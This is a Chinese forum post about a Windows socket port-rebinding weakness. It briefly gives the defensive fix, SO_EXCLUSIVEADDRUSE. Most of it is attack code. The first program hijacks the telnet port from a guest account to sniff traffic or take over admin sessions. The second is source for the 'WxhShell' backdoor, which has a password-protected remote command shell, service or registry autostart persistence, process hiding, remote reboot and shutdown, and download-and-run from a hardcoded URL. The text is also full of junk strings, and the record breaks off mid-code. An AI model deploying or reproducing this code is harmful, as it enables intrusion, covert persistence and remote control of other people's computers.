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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M_XZOlW5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h.7 1O"N  
m&$H ?yXW>  
  saddr.sin_family = AF_INET; Z-vzq;  
,,G0}N@7s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U2Ur N?T  
)FHaJ*&d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _6(zG.Fg  
Jl9T[QAJn1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zJx<]=]  
D(r|sw  
  这意味着什么?意味着可以进行如下的攻击: ,-{j.  
u_ Q3v9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >2v_fw  
Vy5Q+gw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a}Ov @7  
WQ*$y3%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0` S!+d  
=1esUO[nx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ri-I+7(n!  
o0<T|zgF5,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _zpn+XVdQ  
o 86}NqK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kv'n W  
{Qhv HV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rzO:9# d  
Gpgi@ Uf  
  #include .z{7 rH  
  #include O&O1O> [p1  
  #include h]D=v B  
  #include    OOv"h\,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \]r{73C  
  int main() |MBnRR  
  { a.Mp1W  
  WORD wVersionRequested; G;^iwxzhO  
  DWORD ret; "`3H0il;<  
  WSADATA wsaData; W"2\vo)  
  BOOL val; ),~Ca'TU  
  SOCKADDR_IN saddr; z.jGVF4  
  SOCKADDR_IN scaddr; MT V'!Zxs  
  int err; /`'50C j  
  SOCKET s; fO:*85 %}7  
  SOCKET sc; zY#U]Is  
  int caddsize; ^QnVYTM  
  HANDLE mt; +0=RC^   
  DWORD tid;   F.\]Hqq  
  wVersionRequested = MAKEWORD( 2, 2 ); ++kiCoC  
  err = WSAStartup( wVersionRequested, &wsaData ); ,)QmQ ^/  
  if ( err != 0 ) { PDir?'  
  printf("error!WSAStartup failed!\n"); / _cOg? o  
  return -1;  Et- .[  
  } 8F@6^9C  
  saddr.sin_family = AF_INET; (Ux%7H_d  
   $ &^ ,(z9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yx}:Sgv%  
`V?{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >Ek `PVPD  
  saddr.sin_port = htons(23); k(7! W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gF%ad=xm  
  { _>aesp%  
  printf("error!socket failed!\n"); 9YvMJ  
  return -1; $GPA6  
  } j&&^PH9ZY  
  val = TRUE; ct]5\g?U'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y]n^(V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4+W}TKw  
  { G_o/ lIz"  
  printf("error!setsockopt failed!\n"); Onc!5L  
  return -1; G!Uq#l>  
  } s/T5aJR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Dnp^yqz*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 huQ1A0(no  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R4v=i)A~Z  
C2b.([HE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '@W72ML.  
  { U}5uy9A  
  ret=GetLastError(); JZc5U}i  
  printf("error!bind failed!\n"); ;0BCM(>Wo  
  return -1; #A))#sT'R  
  } mj,r@@k:=+  
  listen(s,2); d3![b1  
  while(1) /qp`xJ  
  { $rlIJwqn  
  caddsize = sizeof(scaddr); X;0EgIqh3  
  //接受连接请求 Tru`1/ 7I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !BY=HFT  
  if(sc!=INVALID_SOCKET) 6-JnT_  
  { iFHVr'Og'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $:xUXEi{  
  if(mt==NULL) e@q[Dv'mu  
  { Dho~6K }"  
  printf("Thread Creat Failed!\n"); &/ zs Ix+  
  break; L3W ^ip4  
  } AI)9E=D%  
  } dE^'URBiA  
  CloseHandle(mt); Yw{](qG7e`  
  } w5[POo' 5  
  closesocket(s); w?/,LV  
  WSACleanup();  r>G$u  
  return 0; %_ z]iz4  
  }   MdyH/.Te  
  DWORD WINAPI ClientThread(LPVOID lpParam) :,7VqCh3@  
  { K E^_09  
  SOCKET ss = (SOCKET)lpParam; I|PiZ1]2 Y  
  SOCKET sc; /!E /9[V  
  unsigned char buf[4096]; S\f^y8*<  
  SOCKADDR_IN saddr; 7<KRB\)b&  
  long num; &{ f5F7E@  
  DWORD val; FIS-xpv$  
  DWORD ret; *(HH71Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c]n4vhUa5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lz>5bR'  
  saddr.sin_family = AF_INET; `\qU.m0(j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ypsCyDQK`  
  saddr.sin_port = htons(23); 2T|L# #C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HL)1{[|`  
  { EU\1EBT^  
  printf("error!socket failed!\n"); F{}z[0  
  return -1; sn *s7v:  
  } l9<+4rK2  
  val = 100; 0? l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fq{nc]L6  
  { jK{CjfCNz  
  ret = GetLastError(); PEBQ|k8g&  
  return -1; R<wb8iir  
  } 57oY]NT?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a$KM q>  
  { ^*0;Z<_  
  ret = GetLastError(); =B/^c>w2  
  return -1; 1'g?B`  
  } .N5"IY6>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w S;(u[W  
  { |{_%YM($  
  printf("error!socket connect failed!\n"); qD9B[s8  
  closesocket(sc); PC3wzJ\\S  
  closesocket(ss); crmnh4-  
  return -1; S^n:O  
  } mtF&Z\ag  
  while(1) z1"UF4x*  
  { 8C YJR/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4RzG3CJdS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sC}/?^q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -OziUM1qs  
  num = recv(ss,buf,4096,0); P(Lwpa,S  
  if(num>0) {jv1hKTa  
  send(sc,buf,num,0); S#""((U$  
  else if(num==0) CsE|pXVG  
  break; hMDyE.X-  
  num = recv(sc,buf,4096,0); D_8hn3FH  
  if(num>0) k4`v(au^  
  send(ss,buf,num,0); 9 np<r82  
  else if(num==0) W]R5\ G*  
  break; R8?A%yxf  
  } `&+ L/  
  closesocket(ss); 8pk5[=3Z  
  closesocket(sc); U?}Maf  
  return 0 ; IMrB!bo r  
  } 'fgDe  
0m@S+$v  
!X,S2-}"  
========================================================== ,%:`Ll t]$  
-Pvt+I>  
下边附上一个代码,,WXhSHELL l@GpVdrv  
q6,xsO,+  
========================================================== uD5i5,q1Hs  
, <[os  
#include "stdafx.h" #VrT)po+  
|, :(3Ml  
#include <stdio.h> 8G@FX $$Q  
#include <string.h> [6D>2b}:{[  
#include <windows.h> t?{ B*  
#include <winsock2.h> qH(2 0Z!  
#include <winsvc.h> |l ~ADEg  
#include <urlmon.h> !O.B,  
Q/+a{m0 f  
#pragma comment (lib, "Ws2_32.lib") WAQv4&xGM  
#pragma comment (lib, "urlmon.lib") BujWql  
lmd0Q(I  
#define MAX_USER   100 // 最大客户端连接数 G/D{K$=t~  
#define BUF_SOCK   200 // sock buffer \myc n/e  
#define KEY_BUFF   255 // 输入 buffer GC{Ys|s  
Isi ,Tl ^  
#define REBOOT     0   // 重启 _}\&;  
#define SHUTDOWN   1   // 关机 : Z.mM5  
8(+X0}  
#define DEF_PORT   5000 // 监听端口 Psv-y  
\k* ]w_m-  
#define REG_LEN     16   // 注册表键长度 @.gCeMlOf  
#define SVC_LEN     80   // NT服务名长度 /@ OGYYH,M  
rXaL1`t*  
// 从dll定义API <^&'r5H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,iHt*SZ,*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $M><K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y}3V3uqK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QO%LSRw  
zzxU9m~"  
// wxhshell配置信息 B O"+m  
struct WSCFG { {!="PnB  
  int ws_port;         // 监听端口 %?g]{  
  char ws_passstr[REG_LEN]; // 口令 {7;T Q?/  
  int ws_autoins;       // 安装标记, 1=yes 0=no :DZiDJ@  
  char ws_regname[REG_LEN]; // 注册表键名 6?Wsg`9  
  char ws_svcname[REG_LEN]; // 服务名 68d@By  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kj[[78  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U]P;X~$!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vD*KJ3(c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I/(`<s p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 81KtK[?b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~7k b4[  
1|%$ie  
}; *"4ltWS  
b_LzG_n!   
// default Wxhshell configuration %GIla *  
struct WSCFG wscfg={DEF_PORT, N Lo>"<Xb  
    "xuhuanlingzhe", Z,2uN!6  
    1, (thzW r6;  
    "Wxhshell",  Wi|.Z/  
    "Wxhshell", b!N`@m=  
            "WxhShell Service", 6yR7RF}  
    "Wrsky Windows CmdShell Service", R:fu n ,  
    "Please Input Your Password: ", )Qo6bei!  
  1, QR#,n@fE  
  "http://www.wrsky.com/wxhshell.exe", (kSk bwu  
  "Wxhshell.exe" ;Rt,"W)  
    }; k4|YaGhf  
{Cd*y6lI  
// 消息定义模块 LO2sP"9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ffWvrY;j[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N$3F4b%+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %AJdtJ@0H  
char *msg_ws_ext="\n\rExit."; ) HmpVH  
char *msg_ws_end="\n\rQuit."; }skXh_Vu4  
char *msg_ws_boot="\n\rReboot..."; $;">/ "7m  
char *msg_ws_poff="\n\rShutdown..."; ~p8!Kb6  
char *msg_ws_down="\n\rSave to "; b :+ X3  
B>'\g O\2  
char *msg_ws_err="\n\rErr!"; C2VZE~U+  
char *msg_ws_ok="\n\rOK!"; i ^W\YLE  
.d*vfE$  
char ExeFile[MAX_PATH]; g,1\Gj%y  
int nUser = 0; _7;#0B  
HANDLE handles[MAX_USER]; 2vur _`c V  
int OsIsNt; oi!E v_h  
1]qhQd-u  
SERVICE_STATUS       serviceStatus; ;^xku%u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^WRr "3  
 [g/g(RL  
// 函数声明 H<q:+  
int Install(void); > vahj,CZZ  
int Uninstall(void); r"4:aKF>  
int DownloadFile(char *sURL, SOCKET wsh); AvwX 2?tc  
int Boot(int flag); eC3ZK"oJ  
void HideProc(void); }b{N[  
int GetOsVer(void); 7_|zMk.J*  
int Wxhshell(SOCKET wsl); \;sUJr"$  
void TalkWithClient(void *cs); ]_ _M*  
int CmdShell(SOCKET sock); .z9JoQ  
int StartFromService(void); [[)HPHSQ  
int StartWxhshell(LPSTR lpCmdLine); |5W u0T  
/!LfEO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lKa}Bcd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N_T;&wibO  
Z$@Juv&>5^  
// 数据结构和表定义 U2h?l `nP  
SERVICE_TABLE_ENTRY DispatchTable[] = LsmC/+7r$1  
{ 68D.Li  
{wscfg.ws_svcname, NTServiceMain}, uXp0D$a  
{NULL, NULL} [k.<x'#  
}; v3[ 2!UXq  
7N:,F9V<  
// 自我安装 [bZXzV(  
int Install(void) UrtN3icph  
{ S4\T (  
  char svExeFile[MAX_PATH]; hxv/285B  
  HKEY key; x;C\G`9N  
  strcpy(svExeFile,ExeFile); ge E7<"m%  
P!-9cd1 C,  
// 如果是win9x系统,修改注册表设为自启动 9\dC8  
if(!OsIsNt) { p_}OtS;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U>{z*D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | 0&~fY  
  RegCloseKey(key); &< ~`?-c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _|#)tWy}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g{i( 4DHm(  
  RegCloseKey(key); [WB8X,  
  return 0; \Q & Kd|  
    } Q2+e`  
  } ,H|V\\  
} |i|>-|`!  
else { P>)qN,a  
? 1_*ct=g9  
// 如果是NT以上系统,安装为系统服务 khyV uWN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BK-{z).)  
if (schSCManager!=0) 2"13!s  
{ b>o38(  
  SC_HANDLE schService = CreateService jirxzj  
  ( `M|fwlAJQ  
  schSCManager, X${k  
  wscfg.ws_svcname, `"    
  wscfg.ws_svcdisp, mH;\z;lyK  
  SERVICE_ALL_ACCESS, `i<U;?=0'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tQ*5[F,fm  
  SERVICE_AUTO_START, QupCr/Hs  
  SERVICE_ERROR_NORMAL, V a<L[8  
  svExeFile, `~gyq>Ik2  
  NULL, -`A6K!W&~p  
  NULL, &L;0%  
  NULL, vQ 5 p  
  NULL, sqsBGFeG  
  NULL 2o6%P}C  
  ); LB-4/G$  
  if (schService!=0) }2G'3msx  
  { x|1OGbBK  
  CloseServiceHandle(schService); g#:?Ay-m  
  CloseServiceHandle(schSCManager); !x&/M*nBE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [X;yJ$  
  strcat(svExeFile,wscfg.ws_svcname); Yz[^?M%(D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3>-^/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +$ P0&YaQ  
  RegCloseKey(key); n)[{nkS6[  
  return 0; )f,iey\-  
    } yv&&x.!.Z  
  } Fd0R?d  
  CloseServiceHandle(schSCManager); !hEt UF  
} l+RBe<Mq  
} Ia[e 7  
1_f(;WOg  
return 1; MsfY|(/m  
} l&[x)W  
eR =P  
// 自我卸载 Hh,q)(Wo  
int Uninstall(void) L%Me wU0TZ  
{ oS, %L  
  HKEY key; lor jMS  
>DPC}@Wl  
if(!OsIsNt) { fgq#Oi}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L`tr7EEr  
  RegDeleteValue(key,wscfg.ws_regname); [>v.#:YM^  
  RegCloseKey(key); %r?Y!=0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7]62=p2R  
  RegDeleteValue(key,wscfg.ws_regname); ]w"r4HlCx  
  RegCloseKey(key); 0)+F}SyyD  
  return 0; gm(`SC?a  
  } 3+0 $=ef  
} R>yoMk/u  
} /n&w|b%  
else { G D$o |l]\  
up#W"`"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  GMrjZ  
if (schSCManager!=0) B&VruOP0  
{ ~4<xTP\*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (~#{{Ja  
  if (schService!=0) t[Qf|#g  
  { B!4chxzUZ  
  if(DeleteService(schService)!=0) { ( hp 52Vse  
  CloseServiceHandle(schService); UBLr|e>dQE  
  CloseServiceHandle(schSCManager); ]oUvC  
  return 0; r ".*l?=  
  } z;J"3kM  
  CloseServiceHandle(schService); <Y9%oJn%  
  } A_i=hj 2f  
  CloseServiceHandle(schSCManager); 9rf6,hF  
} 'H0uvvhOp  
} il|e5TD^  
)w4i0Xw^C:  
return 1; ~+ Mp+gE  
} -XRn%4EX?  
\QGh@AQp"  
// 从指定url下载文件 Y{ijSOl3  
int DownloadFile(char *sURL, SOCKET wsh) 49W@?: b  
{ yb\T< *  
  HRESULT hr; sIJl9  
char seps[]= "/"; oc7&iL  
char *token; H,u{zU')  
char *file; P%2aOsD0  
char myURL[MAX_PATH]; '1+s^Q'pc  
char myFILE[MAX_PATH];  d|;S4m`  
f#f<Ii  
strcpy(myURL,sURL); C-u'Me)H  
  token=strtok(myURL,seps); {<+B>6^  
  while(token!=NULL) 0n<>X&X  
  { E^qJ5pr_P  
    file=token; _3~/Z{z8  
  token=strtok(NULL,seps); qQ6rF nA  
  } @G,pM: t  
^hiIMqY_{`  
GetCurrentDirectory(MAX_PATH,myFILE); b~>kTO  
strcat(myFILE, "\\"); <N KmLAfX  
strcat(myFILE, file); D`d*bNR  
  send(wsh,myFILE,strlen(myFILE),0); A#k(0e!O  
send(wsh,"...",3,0); !?)ky `S3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Di) %vU  
  if(hr==S_OK) 3b{ 7Z 2  
return 0; wz`\R HL  
else amvD5  
return 1; Mu: y9o95  
}:+SA  
} QP>tu1B|  
IyK^` y  
// 系统电源模块 6Ft?9 B(F:  
int Boot(int flag) KTtB!4by  
{ [`J91=  
  HANDLE hToken; 2S,N9 (7  
  TOKEN_PRIVILEGES tkp; R RRF/Z;))  
!B|Aq- n,  
  if(OsIsNt) { v'RpsCov  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w2X0.2)P2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); . ,h>2;f  
    tkp.PrivilegeCount = 1; f.)z_RyGd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jt ++3]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LuW>8K\  
if(flag==REBOOT) { yxk:5L \A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %B}<5iO  
  return 0; >^:*x_a9  
} WoV"&9y  
else { |#(KP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  A:b(@'h  
  return 0; w :nYsuF  
} I%(YR"  
  } ^Y%'"QwJS  
  else { :Oiz|b(  
if(flag==REBOOT) { ml,FBBGq|-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .q90+9Ek=  
  return 0; ]y0bgKTK  
} epN!+(v  
else { JkShtLEr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \<ko)I#%  
  return 0; p~'iK4[&6  
} >V%lA3  
} pl }nb Y  
O:E0htdWr  
return 1; ^yLhL^Y  
} PfR|\{(  
Iip%er%b  
// win9x进程隐藏模块 Bo,>blspw  
void HideProc(void) /9pN.E  
{ .}9Lj  
='vD4}"j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J8'1 ~$6  
  if ( hKernel != NULL ) hv0bs8h  
  { ]-j.\+(*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'Z*`~,Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n!-]f.=P  
    FreeLibrary(hKernel); XL3m#zW&  
  } T>hrKn.!D:  
Ct][B{  
return; DaS~bweMw  
} skm~~JM^  
1=Kt.tuf  
// 获取操作系统版本 t[r 6jo7  
int GetOsVer(void) h2-v.Tjf  
{ w}]BJ<C  
  OSVERSIONINFO winfo; S{m:Iij[;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G|o O  
  GetVersionEx(&winfo); 7W'&v+\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?y-@c]  
  return 1; Gf +>Aj U'  
  else /X]gm\x7s  
  return 0; CNe(]HIOH  
} +zwS[P@  
:_,a%hb+8  
// 客户端句柄模块 9Af nMD  
int Wxhshell(SOCKET wsl) ~470LgpO1  
{ K?nQsT;3p  
  SOCKET wsh; @d5$OpL$%  
  struct sockaddr_in client; J&Db-  
  DWORD myID; RBz"1hRo`  
.i {yW  
  while(nUser<MAX_USER) 2TG2<wqvE  
{ 1M.#7;#B3  
  int nSize=sizeof(client); 25f[s.pv8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L@'2}7N1%  
  if(wsh==INVALID_SOCKET) return 1; $Zr \$z2  
&pQ[(|=(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h3bQ<?m  
if(handles[nUser]==0) 7H*,HZc@=  
  closesocket(wsh); Q;N)$Xx  
else /6rQ.+|).  
  nUser++; h<V,0sZ&:  
  } o|u4C{j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G1-r$7\  
IL:[0q  
  return 0; @~Ys*]4UE  
} a~ RY 8s  
^q_wtuQ  
// 关闭 socket EKO~\d  
void CloseIt(SOCKET wsh) @3y >|5 Y  
{ NT2XG& $W>  
closesocket(wsh); kh@O_Q`j  
nUser--; s2( 7z9jR  
ExitThread(0); ALn_ifNh  
} !rs }83w!  
q %j8Js  
// 客户端请求句柄 {Q[ G/=mx  
void TalkWithClient(void *cs) :f:&B8  
{ lI%RdA[  
Wy\^}  
  SOCKET wsh=(SOCKET)cs; BL~#-Mm<|l  
  char pwd[SVC_LEN]; C =CZtjUt  
  char cmd[KEY_BUFF]; qRgFVX+vc  
char chr[1]; w:9`R<L  
int i,j; 5VpqDL~d  
=`*@OJHH  
  while (nUser < MAX_USER) { {Mj- $G"  
KwV!smi2  
if(wscfg.ws_passstr) { }9^'etD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M)ao}m>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r;)31Tg  
  //ZeroMemory(pwd,KEY_BUFF); A9g/At_  
      i=0; 33KCO  
  while(i<SVC_LEN) { (f^/KB=  
!vSq?!y6*P  
  // 设置超时 t^Lb}A#$4  
  fd_set FdRead; U.V/JbXX  
  struct timeval TimeOut; 3#x1(+c6  
  FD_ZERO(&FdRead); m]*a;a'}#  
  FD_SET(wsh,&FdRead); Niu |M@  
  TimeOut.tv_sec=8; N p*T[J  
  TimeOut.tv_usec=0; vz#-uw,O:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .%dGSDru  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Lagk   
;&gk)w6*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4%zy$,|e  
  pwd=chr[0]; Pwj|]0Y@  
  if(chr[0]==0xd || chr[0]==0xa) { S(U9Dlyarg  
  pwd=0; R!%HQA1U  
  break; 6&5D4 V  
  } jz HWs  
  i++; e`U 6JzC  
    }   NV-l9  
WO{7/h</  
  // 如果是非法用户,关闭 socket F+*fim'NK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t9MCT$U  
} l.]wBH#RS  
WtKKdL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?&zi{N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r7].48D  
5!S#}=f=  
while(1) { gvc/Z <Y  
+}1zw<  
  ZeroMemory(cmd,KEY_BUFF); mI{Fs|9h  
M%la@2SK=  
      // 自动支持客户端 telnet标准   l53Q"ajG  
  j=0; Ywv\9KL  
  while(j<KEY_BUFF) { $j(d`@.DN~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hr&&b3W3p  
  cmd[j]=chr[0]; T)%6"rPL3!  
  if(chr[0]==0xa || chr[0]==0xd) { livKiX`  
  cmd[j]=0; v&(=^A\eN  
  break; >&:}L%  
  } L1I1SFG  
  j++; YlUh|sK7m  
    } 4X*U~}  
}apno|W&  
  // 下载文件 k H<C9z2=  
  if(strstr(cmd,"http://")) { 9_d# F'#F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U,p'<rmS  
  if(DownloadFile(cmd,wsh)) < qab\M0W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]P#W\LZp  
  else :!Dm,PP%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :*h1ik4t  
  } t2vm&jk  
  else { KAD2_@l  
h,B4Tg'  
    switch(cmd[0]) { 1ig*Xp[  
   oJ*,a  
  // 帮助 ` L 1+j  
  case '?': { N8df1>mW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R&6@*Nn  
    break; $M4Z_zle)  
  } ybsw{[X>M  
  // 安装 %7 yQ0'P  
  case 'i': { 7P(jMalq  
    if(Install()) v4Rci^8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9B;WjXSe  
    else M*qE)dZjS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n*ShYsc  
    break; 3) d }3w {  
    } N?-ZvE\C  
  // 卸载 1kpw*$P0  
  case 'r': { 5,oLl {S'  
    if(Uninstall()) A?lR[`'u\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3M+rFB}tS  
    else &L5 )v\z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !wQ?+ :6  
    break; Al6%RFt  
    } 3u[8;1}7Q  
  // 显示 wxhshell 所在路径  !QvmzuK  
  case 'p': { ]UEA"^  
    char svExeFile[MAX_PATH]; %qo.n v  
    strcpy(svExeFile,"\n\r"); J^CAQfcx  
      strcat(svExeFile,ExeFile); h!JyFc  
        send(wsh,svExeFile,strlen(svExeFile),0); %AtT(G(n  
    break; L7aVj&xM  
    } s@iY'11  
  // 重启 o6;  
  case 'b': { Z2yO /$<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cw(ypu  
    if(Boot(REBOOT)) D@9 +yu=S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QD{1?aY  
    else { 4U}J?EB?K  
    closesocket(wsh); GTTEg{  
    ExitThread(0); OomC%9/=,  
    } l,]%D  
    break; 4Eu'_>"a  
    } D&"lu*"tg  
  // 关机 d>mZY66P  
  case 'd': { =bja\r{  
